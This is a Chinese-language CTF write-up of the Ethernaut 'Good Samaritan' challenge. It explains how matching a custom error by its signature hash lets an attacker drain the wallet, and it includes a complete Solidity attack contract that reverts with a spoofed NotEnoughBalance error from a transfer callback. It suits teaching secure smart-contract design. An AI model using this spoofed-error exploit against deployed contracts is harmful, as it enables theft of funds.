Appearance
智取好撒玛利亚人:一次精彩的智能合约夺宝之旅
在区块链的世界里,智能合约的安全性是永恒的挑战。一个微小的逻辑漏洞,就可能导致巨额资产的损失。今天,我们将深入探讨 Ethernaut 平台上的一个经典 CTF 题目——"Good Samaritan" (好撒玛利亚人),看看我们如何巧妙地从一位慷慨的“好撒玛利亚人”手中,“合法”地清空他的百万金币钱包。
挑战背景:慷慨的撒玛利亚人与百万财富
故事的主角是一位富有的“好撒玛利亚人”。他乐善好施,设立了一个智能合约系统,承诺向任何请求捐赠的人捐赠金币。我们的任务非常明确:从这个“好撒玛利亚人”的钱包中,榨干所有的余额!
这个挑战的提示是“Solidity Custom Errors”(Solidity 自定义错误),这暗示了漏洞可能隐藏在错误处理机制中。
深入分析:撒玛利亚人的合约王国
为了成功“夺宝”,我们首先需要了解“好撒玛利亚人”的合约体系:
GoodSamaritan合约: 这是核心调度合约。它拥有一个requestDonation()函数,任何外部用户都可以调用它来请求捐赠。- 它的关键在于使用了
try/catch结构:它会尝试调用wallet.donate10(msg.sender)捐赠 10 个金币。 - 重点来了! 如果
donate10调用失败,并且捕获到的错误是Wallet合约的NotEnoughBalance()错误(通过keccak256签名进行匹配),它就会执行一个备用方案:调用wallet.transferRemainder(msg.sender),将钱包中所有剩余的金币都转给请求者!
- 它的关键在于使用了
Wallet合约: 这个合约代表了“好撒玛利亚人”的钱包。- 它由
GoodSamaritan合约部署并拥有(owner)。 - 它有两个核心捐赠函数:
donate10(address dest_)(捐赠 10 个金币)和transferRemainder(address dest_)(转移所有剩余金币)。这两个函数都带有onlyOwner修饰符,意味着只有GoodSamaritan合约才能调用它们。 - 它定义了一个自定义错误:
error NotEnoughBalance();
- 它由
Coin合约: 这是一种简单的代币合约,管理着金币的余额。- 在部署时,
Wallet合约被初始化拥有 1,000,000 (10^6) 个金币。 - 它的
transfer(address dest_, uint256 amount_)函数是转账的核心。 - 另一个关键点! 如果
transfer的目标地址dest_是一个合约,它会额外调用目标合约的notify(uint256 amount)函数(通过INotifyable接口)。
- 在部署时,
漏洞揭示:同名错误的陷阱
现在,我们看到了整个系统的运作方式。表面上,GoodSamaritan 慷慨且安全,它的 try/catch 逻辑似乎是为了确保即使金币不足,也能把零头捐出去。但,这正是它的致命弱点。
问题出在 GoodSamaritan 合约的 catch 块对错误的判断: if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err))
这个判断是基于错误签名的哈希值。这意味着,只要我们能触发一个拥有相同签名 NotEnoughBalance() 的自定义错误,即使它不是由 Wallet 合约本身抛出的,GoodSamaritan 也会错误地认为它是 Wallet 的 NotEnoughBalance() 错误,从而执行 transferRemainder!
那么,如何触发一个这样的错误,并让它在正确的时间点发生呢?
答案就在 Coin 合约的 transfer 函数中的回调机制:INotifyable(dest_).notify(amount_)。
攻击策略:借刀杀人,一石二鸟
我们的攻击将分为以下几步:
- 部署攻击合约 (
Hack.sol): 我们的攻击合约将实现INotifyable接口,以便接收Coin合约的notify回调。 - 请求捐赠: 我们从
Hack合约调用GoodSamaritan.requestDonation()。此时,msg.sender就是我们的Hack合约。 - 触发捐赠流程:
GoodSamaritan.requestDonation()尝试调用wallet.donate10(address(this))(即wallet.donate10(Hack))。wallet.donate10()内部会调用coin.transfer(Hack, 10)。
- 回调与恶意回滚:
coin.transfer(Hack, 10)在将 10 个金币转给Hack合约后,会检测到Hack是一个合约,并调用Hack.notify(10)。- 这正是我们插入攻击逻辑的地方! 在
Hack.notify()函数中,我们故意让它revert。我们可以在这里检查Wallet是否还有余额,只要有,就立即revert。 - 关键点:
Hack合约也定义了error NotEnoughBalance();。因此,当Hack.notify()抛出这个错误时,它的签名与Wallet.NotEnoughBalance()的签名是完全相同的!
- 欺骗
GoodSamaritan:Hack.notify()的revert会导致coin.transfer()回滚,进而导致wallet.donate10()回滚。GoodSamaritan.requestDonation()的try/catch块会捕获到这个错误。- 由于
Hack.NotEnoughBalance()的签名与Wallet.NotEnoughBalance()相同,GoodSamaritan会误认为这是Wallet合约抛出的NotEnoughBalance错误。 - 于是,
GoodSamaritan会进入catch块的if语句,并执行wallet.transferRemainder(msg.sender)。由于msg.sender是我们的Hack合约,Wallet中所有剩余的 999,990 枚金币都将被转移到我们的Hack合约!
攻击代码 (Hack.sol)
solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import "./GoodSamaritan.sol"; // 引入目标合约
contract Hack is INotifyable {
// 定义一个与 Wallet 合约同名的自定义错误,这是攻击的关键!
error NotEnoughBalance();
GoodSamaritan private immutable target; // 存储目标 GoodSamaritan 合约地址
constructor(address _target) {
target = GoodSamaritan(_target);
}
// 执行攻击的主函数
function doHack() external {
// 调用目标 GoodSamaritan 的 requestDonation 函数
// 我们期望它返回 false (意味着进入了 catch 块并成功清空钱包)
bool r = target.requestDonation();
require(!r, "Hack fail!"); // 如果返回 true,说明攻击失败
}
// 当 Coin 合约向 Hack 合约转账时,会回调此函数
function notify(uint256 amount) external {
amount; // 忽略转账金额
// 获取 Wallet 合约当前余额
uint256 balance = target.coin().balances(address(target.wallet()));
// 如果 Wallet 还有余额,就抛出我们自定义的 NotEnoughBalance 错误
// 这个错误会欺骗 GoodSamaritan 合约,使其执行 transferRemainder
if (balance > 0) {
revert NotEnoughBalance();
}
}
}
总结与启示
“好撒玛利亚人”挑战是一个经典的例子,它提醒我们智能合约开发中以下几点:
- 自定义错误的陷阱: 仅仅依靠错误签名 (
keccak256(abi.encodeWithSignature(...))) 来区分错误来源是非常危险的,尤其是在存在外部调用和回调的情况下。攻击者可以轻易地创建同名错误来绕过或滥用逻辑。 - 外部调用的风险: 合约在进行外部调用(如
coin.transfer回调notify)时,需要极其谨慎。这些外部调用可能会引入重入、DOS 攻击或像本例这样的逻辑错误。 - 全面的错误处理:
try/catch块的使用应该更加严谨。如果需要区分不同来源的错误,应考虑更可靠的机制,例如通过返回值、事件或在捕获后进行更深入的上下文校验。
通过这个挑战,我们不仅成功“夺宝”,更深入理解了 Solidity 错误处理机制的微妙之处及其潜在的安全风险。在智能合约的世界里,细节决定成败。